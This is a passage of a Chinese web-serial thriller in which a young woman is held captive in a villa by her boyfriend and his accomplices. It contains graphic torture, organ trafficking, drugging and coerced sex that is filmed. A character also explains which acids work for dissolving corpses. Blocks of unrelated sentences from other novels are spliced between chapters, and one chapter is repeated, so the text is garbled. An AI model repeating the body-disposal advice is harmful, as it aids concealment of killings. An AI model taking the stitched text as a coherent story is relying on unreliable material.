他也足够刻苦,年纪轻轻就通晓十七门外语,现为能源科技领域的研究生,已获得多项国际专利,并在顶尖学术期刊发表多篇具有影响力的论文。
蓝湾石油项目,两家公司所用的专利,都是沈砚川提供的。
他很体面。
在外界属于成功人士的代表。
但只有沈砚川自己知道,他内心的荒芜。
他已拥有一切,却还是没有办法救回自己想救的人。
他原本恨很多人。
恨他畜生一般的父亲,恨不敢反抗父亲,只会折磨他母亲的原配。
还恨那些一口一个“野种”叫他的兄弟。
但,一场大火把他们全部烧成焦炭。
所有的仇恨,在那一天都失去了落脚点。
他那时还只是一个孩子。
所恨的,所爱的,全部被焚烧在眼前。
他变得荒芜。
需要有一个信念支撑他接着往下走。
于是,他想,他要给他多年来没有见过外面太阳的母亲复仇。
找纵火者复仇。
时间太久了。
他甚至已经忘记了他母亲到底长什么样子。
在心里的那种仇恨,却一天比一天更浓烈,就像是那天别墅区的那一片大火,重新烧在他的身上,日日夜夜灼痛他的灵魂。
外面的人都不知道沈砚川的真面目。
而现在秋榕榕知道了。
他在秋榕榕面前,可以展示真实的自己,无比放松。
他想和秋榕榕多说两句话,但秋榕榕并不想理他。
凶手和被害者之间有什么好说的呢?
秋榕榕为了不得罪他,连控诉的话都不会说出口。
沈砚川有些惆怅。
他想,秋榕榕应该没有机会再陪他去图书馆了。
时间一分一秒地过去。
客厅钟表指针发出“滴答滴答”的声音。
像是催命符。
直到别墅大门的电子锁发出响动声,大门打开,周景行手里带着上密码锁的工具箱,捧着一束红玫瑰走了进来。
“回来了。”沈砚川起身,看到那束花调侃道:“这花已经没必要了,你的人在那里安然无恙。”
周景行捧着花,五官清隽,眉眼温和,他将工具箱放在桌子上,如往常一样走到秋榕榕身边,把花递给她。
“之前订的,为了庆祝你毕业。”
秋榕榕把手从毛毯里伸出来,颤抖着把花接过。
这种时候还送花做什么?
送花圈还差不多。
她觉得,自己应该和他说一声谢谢,粉饰太平,但她实在说不出口。
沈砚川走到工具箱那里,熟练地拨动密码,打开工具箱。
工具箱里摆满了硫酸、硝酸、各种型号的锯子、刀具和锤子。
沈砚川拿起其中一个瓶子,贴近看瓶子上的小字,“硝酸不能用,会让蛋白质固化,尸体最难处理的就是DNA和蛋白质,我们还是要准备一些氢氟酸,那虽然是弱酸,但非常容易腐蚀骨骼和肌肉,更好用一些……”
第一卷 第62章 选项
沈砚川检查箱子里的物品。
分尸的工作,一般由他负责,他更加专业。
确认无误后,他合上箱盖,将其提起,意味深长地瞟了一眼沙发上蜷缩着的秋榕榕,轻描淡写地说:“周景行,东西我先带走了,今夜你要辛苦点。”
周景行点头:“嗯,氢氟酸后天给你。”
他们在一旁说话。
城门附近一下子多了十几个路灯,都是姜语通过后台从其他地方挪过来的。
而这毒素确实怪异,附着力竟然可以这么强悍,灵力这么纯净的力量都能够被污染。
苏南一到城主府,就见魏王泰坐在上座一言不发,表情愤怒不已。一旁的李绩将军和秦叔宝将军则不以为然的喝着茶。
“呵呵……应该的,应该的。”弗兰德心里都已经在滴血了,却还是要装出一副理所当然的模样,生怕别人不知道他大方。
武馆馆主燕乘风判断出乱世已临,立即就制定了宏伟的发展计划,想要在乱世之中成就一番霸业。
不满一个月大的二宝苏成林哪里听得懂,刚吃饱喝足,他的任务是睡觉。
当初花夏领地只有一丁点大的时候,他就已经很吃惊了,现在,嘿嘿,这些人可别幸福得晕过去,霓晟领地连花夏领地的边边角角都比不上呢。
下次魔界试炼要在三百年之后才再度开启。那时候豆豆等人肯定已经进阶战皇甚至更高境界,根本无法进入魔界。
下一秒,杨辰体内爆发出强大的力量,瞬间撕碎了束缚在他周围的血链。
苏源一听,这还得了,但没有拒绝,反而是眯着眼睛盯着她的脸看。
看着下方争得面红耳赤的众人,赵敏的脸色越来越戏虐,更像是在欣赏一场闹剧。
只是随着‘啸天堂’势力越来越大,成为‘西南王’的古毅开始全面建设西南,众人开始变得分身乏术起来,能够帮得到胡不归的地方少了很多。
苏菲向罗兰说到一半,突然想起了什么,转而让自己身边的一个圣职者去把沃森交了过来。
那便是思考之时,必须要口中咀嚼一支麻花,对他而言,那是本命神物,他相信它会给他做出最明确的指引的。
钟秀敏那颗原本已经死了的心又复燃了起来,不管邱欣兰怎么阻拦和劝说,她都要去看看宋墨城。
于是,在楚信决定带领三万多名精英弟子,出山去找三个佛道门派算账的前夜,暗战以有要事禀告为由,见到了楚信。
“这招什么名堂?”青娥吓了一跳,她今天已经不止一次受到惊吓了。
被妈妈当成看不清路的残障人士,二端也懒得挣扎了。由着她吧,反正开学这天人也挺多了,拉着省得走散了。
戒指中再次传出无邪的声音,但这劝阻声根本无用,李逸苦苦寻找,好不容易遇见怎会错过?
喻轻翎还没有反应过来,就被布丁弹软滑的口感和甜蜜的味道吸引,喻轻翎忍不住多嚼了两下。
“真哒!”宸琳目光如炬,激动之色溢于言表,熬了这么多天,终于是走到这一步了么。
“先别急着否定,待你们见过这个,应该就能明白了吧?”他拿出一个玉珏亮了一眼便又重新收了起来。
“远山!”尉迟静琳看向那个进来的人,忍不住露出了欣喜之色。
然而纸终究包不住火,箫婷存活于世的消息,还是被武林联盟所察觉。
第一卷 第63章 兰花
输了就要接受惩罚。
周景行把秋榕榕从地上扶起来。
秋榕榕的手很冰,他扶着她的时候,她反过来握住他的手掌,声音低哑:“第二个选项是什么?”
“我以为你会问第一个选项的惩罚是什么。”
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随着最后一句歌词出口,歌曲结束了,只剩余音袅袅。姚宪章瘫坐在凳子上,面无表情的样子有些渗人,不过对于台上两人来说,他们根本不关注这个。
如果一开始不点进这个游戏,就不会哭泣;如果一开始不购买这个游戏,就不会受伤;如果一开始不知道这个消息,就不会出不去。
对于大皇子的示好,凌云却只是笑笑,同时有一搭没一搭的和大皇子交谈着。大皇子不时旁侧敲击,想要从凌云的口中套出一些对于自己有用的情报,凌云也在不动声色的刺探着大皇子的信息。
西门玥这几人的认知和属性都还停留在普通玩家的阶段,而他的属性则已经到了第一阶梯的行列。
若是真让叶南将灵阵的破绽给弥补了,那么他就在也没机会从灵阵中逃脱。
林雅的情绪有些激动,连脖子上的伤都不顾了,直接对着李昊就吼了起来。
想到离开这里之后再也见不到那些姐姐们了,还有吴妈和刘叔两个老人了,胡婧就感觉心里很难受。
“少主为何事烦忧?”王管家目露精光,他在赵似身边多年,早已洞察人心,看见赵构眉头紧锁就猜到他心事重重,尤其是风尘仆仆回来,身体有些累了,却没有看见赵构眼中的睡意,他便猜到赵构定然未睡。
可是,唐丽丽的脸依然那么恬静,微笑依然那么悠然,看着康桥的眼神依然那么专注。
她也知道自己说的话有些过分的,不怎么好听,但是对于沈如雪,她还真是找不到一句好听的话来。
原本以为穆清苏是因为上了年纪所以才没有那种念头的,可是在一次无意间纪苇苇听见洗手间里面异响和穆清苏的动作后,这才明白所谓的没有并不是那么简单。
来齐慕白看病的人很多,陆长风和萧未央挤到前面,张恒一眼就看到了陆长风,但是却有些不认识他身边的人。
“谢谢,”李艳蕊结果手机,并没有说其他的,只是说了一声谢谢。
储娘子的原则是,只与相熟的制盐人合作,绝不轻易增加收购量,制成的盐只交给几个信得过的盐贩出手。制盐,收盐,贩盐三道关口,相连的只有她一人,绝不交予其他人之手。
许琳也清楚地知道现在的自己有点不可理喻,甚至让人感到害怕,但是许琳觉得跟沈成韧相比,其他的东西都不重要。
“告诉我,为什么想出这种坑人的馊主意?”他一边嬉笑,一边左右摇晃着高高举起的手臂,她的身体立即顺着他的手,一左一右轻轻晃动起来。
沈容不知道萧楚为何要给自己说这些,又是觉得今天他有些怪怪的,以前从来都没有这般过,便是朝着他的面前走了过去。
第64章 镜子
秋榕榕永远不可能喜欢上一个**犯。
能打动她的,只有温柔善良。
昨日种种,譬如昨日死,当她知道他不是好人的那一刻,曾经所有的喜欢就消失干净。
“哥哥,你这么问我是想听什么答案呢?”
秋榕榕左手的手指只要稍微动一下,就会传来麻木的钝痛,痛感来得密集,让她浑身发烫。
伤口是用双氧水清洗过的。
但秋榕榕原本身体就差,如此折磨很快就发了烧。
全身滚烫,像是泡在热水里。
她声音有些虚弱:“既然已经选择了这么对我,就不该这么问的。
我的命在你的手掌心,你问我这种问题,我肯定会告诉你,我现在也爱着你。
但是你相信吗?你还愿意相信我给你的答案吗?”
这是一个蠢问题。
无论是他问她,现在是否还喜欢他?
还是她问他,这四年有没有动过真感情?
都是蠢到极致的问题。
从真面目揭露的那一刻起,他们之间就不再是感情矛盾,而是只能活一个的生死仇敌。
是他一步步设下这个网,求的是她痛不欲生。
他没在她的眼睛里看见想要的眼泪。
所以他不甘心。
他把感情当做伤人的利器,整整磨了四年的刀,而今图穷匕见,她就这样平静地接受。
他反而不能接受了。
“你发烧了。”周景行察觉到秋榕榕的体温升高,脸颊也泛着不自然的红。
他冰凉的手贴着她的额头。
她转过身面对着他,把脸埋在他的胸口里,那只受伤的手虚虚地搭在他的腰上,“嗯,头疼,手上的伤口也很疼。”
周景行身体微不可查地有些僵硬,“要吃退烧药吗?”
“再等等吧,如果晚些时候烧退不下来再吃。你别动,让我就这样躺一下,你动的话我手疼得厉害。”
她如此脆弱,已是笼中的病鸟,却依旧不在他的掌控中。
他预想过她的愤怒,她的绝望。
却没有想过,她还能在这种情况下主动抱着他。
“好,我不动。”周景行维持着这个姿势,直到压着的手臂有些发麻。
她闭着眼睛休息的时候还会皱着眉头。
她这么对他。
当然不会是出于爱意呀。
周景行想,她又不是笨蛋,知道他想杀她,还能爱着他。
这么做无非是想活着。
为什么那么想活?
这世上也没有那么好。
她全家惨死在自己面前,拖着满是窟窿的病弱身体,谈了四年的男朋友是骗她的,在学校里照顾她的朋友也是骗她的。
他们曾刻意将她的精神往失控的方向引。
徐照盯上她,是沈砚川刻意在徐照面前透露,她和谭松的恩怨。
就连秋榕榕和徐照被分到一个班,也是沈砚川做的。
周景行知道秋榕榕在学校里遭遇的一切暴力,知道学校扣掉了她的奖学金名额,知道她在学校打零工的时候经常被骚扰欺负。
他关心她,安慰她。
却没有真正地去帮助她。
秋榕榕过得其实一点也不好。
如果别人落到她这个地步,很可能会精神失常,从南翡河大桥上跳下去。
他一开始也是这么计划的。
给她高压。
逼她**或**。
但无论是遭遇校园霸凌,还是被他的同伴**,抑或是被指控为精神障碍……她竟然没有任何**的冲动。
而他给她机会,一个绝佳的**机会。
她本可以搬起石头砸烂徐照的脑袋,或者坐视背叛她的谭松淹死在水箱里,但她没有选择这么做。
她为了自己以后还能有未来。
放弃了报复的机会。
她竟然想着往前看。
遭遇了这么多,怎么能还往前看呢!
过去困住了他们所有人。
却没能困得住她!
睡到半夜,秋榕榕一直处在低烧的状态。
她稍微一动,周景行的手就轻轻地拍着她,让她安稳点,接着睡。
一觉睡到第二天早晨。
周景行那半边的床单已经理好,他不在房间里,秋榕榕也松了一口气。
房间里的所有利器已经收起来了。
就连牙刷也换成了漱口水。
秋榕榕把枕边的兰花**灌了水的花瓶里。
她路过周淮远房间的时候,看见王阿姨已经回来,她正在和后面找到了那两个男护工说话。
原来那两个男大学生,根本不是出来兼职的。
他们一个是王阿姨的侄子,一个是王阿姨的亲儿子。
秋榕榕觉得挺搞笑的。
原
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来她费劲把王阿姨开除,到头来围绕在她身边的,都是一伙的熟人呀。
这么大的一场局。
不仅是为了她。
也是为了毁了周家。
周景行早晨给秋榕榕准备了豆浆和两个海带包。
放在桌面上。
秋榕榕穿着拖鞋走下楼的时候,目光在下一个瞬间定格。
餐桌前,有一个人。
男人坐在餐桌前,露出一截白皙的手腕戴着复古表,他手里还端着豆浆,抬起头,冲着秋榕榕露出一个病态惊悚的笑容。
“兔兔,我们又见面了,今天,由我来照顾你。”
秋榕榕的心一下子猛地缩紧。
那张脸她认得。
他的手掌,他的抚摸,他递过来的食物……那个泡着断指的房间、**胃里的冰凉胃管、那段噩梦,她记得每一帧。
是他。
那个**犯。
秋榕榕从头凉到脚,脊背冒起细密冷汗。
她能感到身体在发抖,但理智死死按住了她。
“你怎么会在这里?”
他的目光转过来,看着她笑了一下,像个多年未见的老朋友。
“你们也是一伙的?”秋榕榕突然想通了一些事情。
她想起这个男人为什么之前那么多次出现在别墅里,却找不到他的踪迹。
想起第一次,她被这个男人**的时候,周景行一个人找到那个废弃工厂。
想起他把谭松带走……
**她,是为了配合周景行英雄救美,让她因为感恩周景行的救命之恩,更依赖他,信任他。
**谭松,是为了让谭松错过救他母亲的机会,借徐照的手把谭妈妈送进监狱里。
周景行,沈砚川和**犯,他们三个人,有人在明,有人在暗,共同在做这些事情。
而周景行口中说的赎罪,也不仅仅指秋榕榕一个人。
想到这里,秋榕榕没了吃早饭的胃口。
她转过身,想要上楼回房间。
“过来,我的兔兔。”**犯的声音凉凉地在后面响起,“我已经好久没有摸摸你了,每一天都只能通过房间的镜子看着你,我好难过,我好伤心啊……你为什么要和别人一起睡觉呢?明明那个粉色的小房间才更适合做你的兔笼子。”
镜子?
什么镜子?
秋榕榕僵硬地转身。
第65章 看管
这栋别墅是有夹层的。
秋榕榕每次从墙里,从地板上听到的爬虫声,其实都是**犯从别墅夹层里走过,衣摆摩擦墙面的声音。
房间里的所有镜子都是单面镜。
她看不见。
他却可以通过镜子看见她在房间里的一举一动。
“你可知,你的房间是我为你装修设计的,我专门把你的小笼子刷成粉红色,化妆桌用的是绿檀木,你如果贴近闻可以闻到香味。
可你来到别墅后,才在这个屋子里住了没多久,就蹦到了别人的怀抱里。”
**犯一边自说自话,一边朝着秋榕榕走过来。
他伸出手,两只长胳膊试图把她揽入怀中。
“兔兔,让我抱抱你。”
“我已经好久没有摸到你了,我真的很怀念你的手感。”
秋榕榕没理他,她转身跑进周景行的房间里,把门反锁,然后躲进被子里。
**放在门口徘徊,他拧动门把手往里推,没有推开后,秋榕榕又听见爬虫的声音。
爬虫,从房间的墙壁,到她床下的地板,窸窸窣窣。
伴随着一声轻微的“咔哒”声。
一只苍白的手,按着床的边缘。
然后,**犯从床底爬了出来。
他探出头,唇角的笑意拉伸,眼神幽暗,透露出野兽扑食前那一刻的欣悦。
“兔兔不乖,要和我玩捉迷藏,让我找到你了哦。”
秋榕榕瞬间屏住呼吸,蜷缩着腿手脚冰凉。
“乖乖从被子里出来嘛,我看到你的小脚了。”他嗓音轻轻的,像哄孩子,黏腻的声音让她恶心。
床垫微微一沉。
他上来了。
床边塌陷,他身上投下的阴影笼罩着她,一步步朝着她在靠近,咫尺之遥。
扯掉了她的被子。
捏住她的脚踝,把她往外拖。
“啊,我又摸到你了,好喜欢……”
“你放开我,你个大变态!我和周景行有约定的!这七天,你们不能杀我!”秋榕榕实在受不了了,挣扎的过程中一脚蹬在他的脸上。
**犯纹丝未动。
而是抓住她的脚,亲了亲她的脚背,“好香,亲一亲,别乱动哦。”
他伸出舌头,用舌尖轻轻地舔了一下她的脚背。
这把秋榕榕膈应的全身的汗**都战栗起来。
秋榕榕蹬到**犯之后,整个人僵住。
她使了很大的力气,担心激怒了**犯,他伤害她。
“不乖,兔兔踢人了。”
她看着**犯高高扬起的手。
“兔子本来就会踢人!”秋榕榕慌忙地接了一句。
在他的手落下的时候,秋榕榕闭上眼睛,瑟缩着脖子,以为他因为她的反抗要打她。
预想中的疼痛没有袭来。
**犯摸了摸她的脸,他的掌心粗糙有薄茧,刮着她脸上柔嫩的皮肤。
“兔兔脸也要亲一亲。”
秋榕榕睁开眼睛,看着他的脸贴近她,一巴掌悠了上去,这次她稍微收着点力气,打得**犯脸上一阵脆响。
他还是没还手。
秋榕榕试探到了他的底线。
周景行和他是一伙的,他们肯定通过气,七天兰花的约定在这个**犯面前也作数。
他虽然神经质,但是眼神是清明的。
明显就是装疯卖傻。
踢他打他,他不还手,秋榕榕就卯足了全身的力气,使劲锤他,用右手好的指甲抠他的手,还张嘴咬人。
“你别碰我!你放开!”
“邦邦邦——”她用拳头砸他的脑袋。
砸得她手疼。
**犯不为所动,他一把抱住秋榕榕,把她压在床上,脸蹭到她的脖颈,鼻尖抵着锁骨的位置,猛地吸了一口。
“你怎么确定每天晚上陪着你睡觉的一定是他?”
“那天晚上,你害怕的时候,还是我牵着你的兔兔爪子,陪你一起睡觉的……”
**犯就住在这栋别墅的夹层和地下室里。
他一直在注视着她。
不是秋榕榕疑神疑鬼,是他本就一直都在!
想清这一点,秋榕榕反而豁然开朗许多。
他压着她玩了一会儿,诉说着思念。
秋榕榕没管他。
直到他坐在她身上,一只手摁住她的两只手腕,另一只手开始脱她的衣服。
“兔兔你怎么可以穿人的衣服?”
**犯对她没男女之间的兴趣。
在他眼里,他们有生殖隔离。
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秋榕榕不用担心他侵犯她。
他把她剥光后,又摸了摸她身上的伤痕,有些惋惜地说道:“变得光溜溜的了,可你为什么不毛茸茸的呢?身上的****好少哦,要不要我帮你换一层兔子皮呀?”
把皮肤切割下来。
再缝上兔子的皮。
这样皮肤与皮肤粘连在一起。
她就变得毛茸茸,很好吸了!
“我不要!”秋榕榕想象到那恐怖的一幕,有些破音,她急促地喘息着让自己冷静下来。
然后露出一个讨好的笑容,用头蹭了蹭他的手,“你摸摸看,我头发这里也是毛茸茸的呀。我很脆弱的,你如果切掉我的皮肤很容易全身感染,然后死亡。”
“真的哦。”他大力摸了几把。
秋榕榕觉得头皮痛。
“还有一个地方,也是毛茸茸的,我摸摸。”
“啪!”秋榕榕忍无可忍,又朝着他的脸打了一巴掌。
他的脸被打红了。
他们三个人,秋榕榕最畏惧面前这个**犯。
因为她对他最不熟悉。
他的心思和正常人不同,秋榕榕摸不透。
周景行离开之后,会派一个他信得过的人在别墅里看着她。
秋榕榕下次得说服周景行,让沈砚川过来,而不是让这个**犯留下来。
这一巴掌后,**犯的动作停了下来。
他稍微靠近了一些,声音却低了几分,用极其冰冷的声音缓慢地叫着她的名字:“秋榕榕,你确定不给我摸吗?”
叫她的名字,就是把她当做人。
秋榕榕错愕地抬起头,对上他的眼睛。
他现在的状态非常不对劲。
他对人,和对兔子,是完全不同的态度。
他会**。
但不会杀兔子。
秋榕榕察觉到了他的变化。
他漆黑的瞳孔闪烁着嗜血的光芒,没有了挑逗,眼神里只剩下深深的冰冷与审视。
秋榕榕扣着他手背的指甲慢慢松开,原本抠过的地方留下一道细细的月牙形状的小伤口。
泛着点点血丝。
她低下头,松开手,放弃抵抗。
“真乖……”他又变回了一开始黏腻的嗓音,“乖乖的……兔兔……”
第一卷 第64章 镜子
秋榕榕永远不可能喜欢上一个杀人犯。
能打动她的,只有温柔善良。
昨日种种,譬如昨日死,当她知道他不是好人的那一刻,曾经所有的喜欢就消失干净。
“哥哥,你这么问我是想听什么答案呢?”
两件兵器对决的余波还未散去,傅岩手中的鎏金弓开始转向对着天穹。这一次他使出所有力道,倾注所有的灵魂,那把金箭也较之前两次更加真实,金光更甚。
符篆和神通组合而成的攻击如期而至,原本会伤到项辰战的攻击却是在空中进行了偏移,所有的攻击都是冲着凌霄而来,凌霄现在又是无法防御。
城中有一个名为“赤炎宗”的‘门’派设下的道场,有几个修士,只是修为实在不怎么样,只比寻常武夫强上一些罢了。
知道这件事情不是自己能够涉入的,玄印便做出了清醒的选择,不去多听。
两声轻响,两只魔兽背后都是浮现两道十分相似的虚影,身上的伤口都是以肉眼可见的速度恢复着,肉芽包裹住那些伤口,止住了血。
传闻之中,战天塔乃是中天城内多个大型势力联合建造而成,用以培养全大陆的年轻俊杰,向来是极为神秘的势力,其背后甚至有中天门的影子。
邵珩透窗看去,并未刻意去听她们谈话,但他知道宁青筠想说的是什么。
米斗带来了五十块下品十火魂石,几乎是他的全部家当了,这边的光头叫他押这个,那边的痞龙喊他买那个,都是保定百分百的准,都是观音菩萨如来佛祖天界诸神皆保佑的中。
“哈哈,哪有姐姐说的那么夸张。”两人打着哈哈笑着将此掩了过去。
“你说他先祖当倭寇这事,毕竟都过了几百年,之前的恩怨我就不和他计较,说到底也不关他的事,不打听还不要紧,这王八蛋的底线还真不简单。”田鸡一口气把水喝完愤愤不平说。
“就算是运气凑巧,能够想到这层也非常人了。”徒维摇头笑叹。
极道组,那是一种类似血亲的组织结构,只为了谋求足够的凝结力。
偏偏她一贯是个木讷的性子,突然被这么大一个馅饼给砸中了,并不觉得惊喜只觉得不胜惶恐。每日里不厌其烦的拜访宣王妃,只希望她能够劝服乐正容休收回成命。
广元等了片刻,见他无话,也自找木华黎和宅梧去商议起了接下来的行事,顺带着再重新打量几眼之前可能的遗漏。
全盛时期的青魔实力绝对不在巅峰星帝之下,一个巅峰星帝武者根本不可能杀死他,两个联手或许有机会,但若是短时间内解决不了,那便会引来大量的魔虫。
“是吗?我来看看。”轩辕浩天终于反应过来了,他一脸欣喜的直接将独孤鸿给拉住之后说道。同时,他也是直接抓住独孤鸿的脉搏,这样检测还是比较精准的。
──不仅是要学会料理的加法,料理的加法可以迭加美味丰富层次。
乍见六军待发,确实心有惊骇,不知自己该如何面对。破阵无能、陷身于此,或者是大肆杀戮硬闯出一条血路,都不是他想要的。
她觉得自己行走在幽暗而孤单的甬道中,长长发丝披散,脚下赤裸。
第67章 繁殖
徐照抬眼,示意秋榕榕地下室负二层有监控。
秋榕榕看到监控后,脸色难看的抿上嘴巴。
那个监控型号,秋榕榕之前在网上搜过,录不下来声音只有画面。
但她不敢确定,这个房间里有没有其他录音设备。
她不动声色地避开那个摄像头的方向,却见徐照缓缓抬起了手腕,锁链随之“哗啦”一声,发出沉闷的金属碰撞。
他低头,用指节敲了敲自己身边的位置,眼神懒洋洋地扫她一眼:“过来坐。”
像是召唤一条小狗。
秋榕榕既不擅长表演,也不擅长说谎。
她犹豫了一下,还是遮遮掩掩地走过去。
徐照非常没有礼貌。
他根本就不懂非礼勿视。
压根没有把眼睛闭起来的自觉。
秋榕榕往他的方向挪,他就抬眼看着。
她靠近一步,他就看一步。
离近之后,秋榕榕坐下,才发现徐照的身体状态很糟糕。
他腹部的缝合线部分有伤口液化的征兆,左手的手指被切掉三根,分别是中指,无名指和小拇指。
他其中一只眼睛也很奇怪。
她还没出声,徐照已经注意到了她的视线。
他抬手,指尖按在那颗假眼球上,慢条斯理地转了转,笑得冷淡又骇人:“假的,玻璃的。原本只是摘角膜,但那个变态说,有个喜欢人体标本的客人,看上了整颗眼球,就一并挖了去。”
他轻描淡写地说着,可秋榕榕却觉得异常耸人听闻。
她问:“这里怎么做眼球摘除手术?”
“隔壁有手术室,那个变态可能是个医生。”
“听说,一只眼角膜在黑市上能卖十二万美金,”徐照耸耸肩,“整个眼球能卖二十万。”
他们是用虚拟币结算的。
“啊?很疼吧?”秋榕榕光听他描述就觉得头皮发麻。
徐照脸上的表情在一瞬间变得很精彩,声音透着古怪,“你关心我?”
“我就是问一嘴。”她只是出于习惯。
习惯性地展露善意。
“反正落你身上,你是受不住。”
徐照挑着眉毛笑声压在喉咙里,“老子也不需要你关心,被卖器官说明还有价值,至少在被器官卖完之前还能活着。”
秋榕榕小幅度点了点头:“那在此之前,我们两个能不能暂时和解,然后想办法对付共同的敌人。
想要逃出去,一个人成功概率太低。
我们可以一人吸引坏人注意力,另一个人找机会逃出去,带着警员回来营救被困的人,好不好?”
徐照看着她,没说话。
片刻后,他偏了偏头,嘴角慢慢勾起一抹冷笑。
“秋榕榕,你真把我当傻子?”他声音低沉,字字透出嘲讽,“说不定你逃出去就把我一脚踹了,连个招呼都不打。让我拖着半条命被他们再卖一次。”
他眼神越来越冷,像冰面下的暗潮。
“听着,秋榕榕……”他叫出她的名字时,刻意咬重,“我们要逃,就一起逃。你要是想丢下我,别怪我拉着你一起死。”
现阶段,徐照的身体状态太差。
那个**犯把他拆的七零八落。
他是受伤的困兽,不敢相信任何人。
秋榕榕被他威胁,便不想再和他说话。
她抱着自己的身体在那里坐着。
地下室阴冷。
她原本就体寒,**犯还不给她穿衣服,她手脚冰凉,脚趾头开始变得麻木。
**犯此时正在楼上做饭。
徐照冷静下来后,寒着脸说道:“等你怀孕,说不定就有逃出去的机会。”
“怀……怀什么孕?”
“你没听到吗?刚才那个男人让我们生小兔子,他可不是说说而已。”徐照眼神暗下来,“你别看他疯疯癫癫的,其实他头脑很清醒,他做的是人体贩卖生意,你男朋友做不了的那些脏活都是他来干的。”
“他要孩子做什么?”
“卖。”
秋榕榕觉得自己有些喘不上气,“开什么国际玩笑?”
孩子是用来爱的。
不是用来卖的。
徐照发觉秋榕榕状态有些不对,“你害怕?”
“那个**犯让我们生小孩,然后再转手卖掉,你不恶心吗?”
他自尊心受挫,和他生小孩有什么好恶心的?他以前身边美女一大堆,要不是落到这种地步,还看不上秋榕榕这种全身都是疤的丑八怪。
这么想着,徐照刻薄地说:“又不是我怀孕。”
秋榕榕的月经不准时,她气血亏空严重,不易怀孕,她
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也绝对不会让自己的孩子沦落为商品。
楼梯那里传来声响。
**犯端着两盘蒸胡萝卜走了下来。
“乖兔兔。吃饭了,吃饱了才能生小兔兔。”
他把饭碗放在地上。
塑料材质的,不可以作为武器。
徐照迅速冲过去,趴在地上吃起了碗里的蒸胡萝卜,他四肢着地,没有用手。
看他这个样子,同样的事情已经做了千百回。
秋榕榕在被囚禁**的那一年也做过同样的事情。
当时凶手还拍了视频。
手法和这个**犯很像。
可当时的凶手确实是谭松的爸爸啊!
难道真如谭松所说,她全家**的那个案件另有隐情。
秋榕榕心慌慌。
她忽然想起七年前,凶手在大雨之夜伪装成外卖员敲响秋榕榕家的房门,那天她正在过生日,爸爸给她订了鲜花。
爸爸去开门,迎面而来的就是一刀。
一刀没有把人捅死。
但是凶手快准狠地割断了爸爸的手筋和脚筋。
当时秋榕榕已经吓傻了。
凶手一边砍着人,一边嘴里发出哭嚎声。
“我不想这样。”
“兄弟,你别怪我……我不能让你死得太轻易。”
“你别怪我……你别怪我……”
“……”
当时秋榕榕太害怕了。
好多话都没有听清楚。
现在回头想,凶手在**和折磨她的时候,手中的刀时常会颤抖。
她以为他是兴奋。
现在回想,还有另外一种可能性。
那就是恐惧。
他必须下手,不然死的就是他……
秋榕榕坐在地上想事情,想得出神。
徐照很快吃完后,嘴巴边都是碎了的胡萝卜泥,他转头看向愣神的秋榕榕,那个粗线条的女人这种时候发什么呆?
难道是因为他刚才话说重了,她还在生闷气。
**犯的眼神越来越不善,徐照赶紧把吃过的空碗踢向她。
“喂,吃不吃?不吃就直接睡了。”
空碗将秋榕榕的回忆打断,她猛然惊醒,看见徐照正在对她使眼色。
**犯从地上端起碗,“要都吃饱饭,你们才可以交配,不乖乖吃饭的话,就只能我亲自喂了。”
第68章 下药
“不……不用胃管,我自己可以吃。”秋榕榕脚步趔趄地把那碗胡萝卜泥夺了过来,往自己的嘴巴里塞,吃了两口,她尝到有药味,又跪在地上呕吐出来。
碗被打翻在地。
她饮食清淡,不像徐照喜欢重油重味,所以食材不新鲜,或者里面加了其他东西,她能敏感地尝出来。
“怎么不吃了?”**犯蹲在秋榕榕的旁边。
秋榕榕眼珠子颤动,没有直接喊出“里面下药了”。
她擦了擦唇角的污渍,说道:“不新鲜,吃了容易坏肚子。”
“你不喜欢?”
秋榕榕赶紧说:“我是兔子,想吃生的胡萝卜。”生萝卜不方便加药。
“秋榕榕,把吐出来的吃掉。”男人站起来,自上而下看着她,脸色森寒。
他神经质地喊她兔兔的时候,很可怕。
现在,喊她名字,更可怕。
因为他喊她名字的时候,尤为清醒强势。
狰狞的恶意明晃晃地写在脸上。
他比她厉害,怎么样对待她,全凭内心的喜好,不需要收敛。
“我知道了,我吃。”秋榕榕没有反驳。
她知道反驳没有意义。
其实顺从也没有意义。
因为过度的顺从,只会招致越来越过分的对待。
没有底线,当然是被人踩在脚底下碾压,一踩再踩,踩到泥潭里爬不起来。
她端起地上的碗,小口小口地吃着。
就是不碰地上吐出来的。
胡萝卜泥并不需要咀嚼。
但是秋榕榕每一口都要慢慢咀嚼着,直到胡萝卜里随着唾液一点一点流进嗓子里。
这是一种既不反抗又不配合的姿态。
刚刚好悬在他生气的底线上。
周景行中午上完班后会回来。
秋榕榕想把时间耗到他回家。
但这个**犯显然没有那么多耐心。
他在秋榕榕吃完碗里的胡萝卜泥之后,夸了一句,“真乖。”
然后又补充道:“把地下吐的也舔干净。”
秋榕榕觉得身体有些发热,徐照脸颊泛红,呼吸也变得粗重。
她大概能猜到碗里下了什么药。
徐照被**犯当成畜生养,没穿衣服,秋榕榕能清楚地看见他身下的变化。
他一点都不为自己感到羞耻。
秋榕榕盯着地上她吐出来的胡萝卜泥,汗顺着她洁白的脖颈滑下,她的唇变得干燥,呼吸却越来越重。
看来是药效要起来了。
现实世界中并不存在那种吃了就让人立刻想上床,不上床就承受不住要死要活的“**”。
只存在**,通过强烈刺激多巴胺和肾上腺素,让人欲望增强。
秋榕榕最怕的就是他在胡萝卜泥里面加**。
对于男性的,也不存在什么催情的药物,伟哥只是通过扩张血管增强男性功能,对于欲望无直接影响。
女生用的**,一般是激素调节类药物,增加点雌激素和**,效果也一般。
所以,这个**犯对她用的药只要不是**,那就仅仅能用来助兴,如果想要克制的话,还是轻而易举可以克制住的。
为了不去舔地上的呕吐物。
秋榕榕开始大喘气,一副药效发挥得很快的样子。
“药效这么快就起来了。”**犯有些兴奋地看着秋榕榕,见她主动朝着徐照伸出手,他也就不计较地上还剩下的胡萝卜泥。
他期待兔子繁殖。
徐照见秋榕榕主动,也格外的意外。
他原本以为,以秋榕榕的高道德感,她肯定会像其他被侮辱的女生一样哭喊、反抗,甚至宁愿撞墙自尽。
但她完全没有。
秋榕榕的手环住徐照的脖子,随后手抚上他的脸颊,暧昧地亲了亲自己的大拇指边缘。
错位上看,她像是亲了他。
秋榕榕在他耳边低声道:“你腹部的伤口这么大,当心线崩裂了,你在下,我在上。”
她声音不大,但确保那个**犯可以清晰地听见。
“嗬嗬嗬,你们快开始,我要全程记录下来。”**犯拿出摄像机。
他之前就是把养腻了的兔子拆开卖掉。
这是第一次,尝试着繁殖兔子。
他准备做一个兔子繁殖报告。
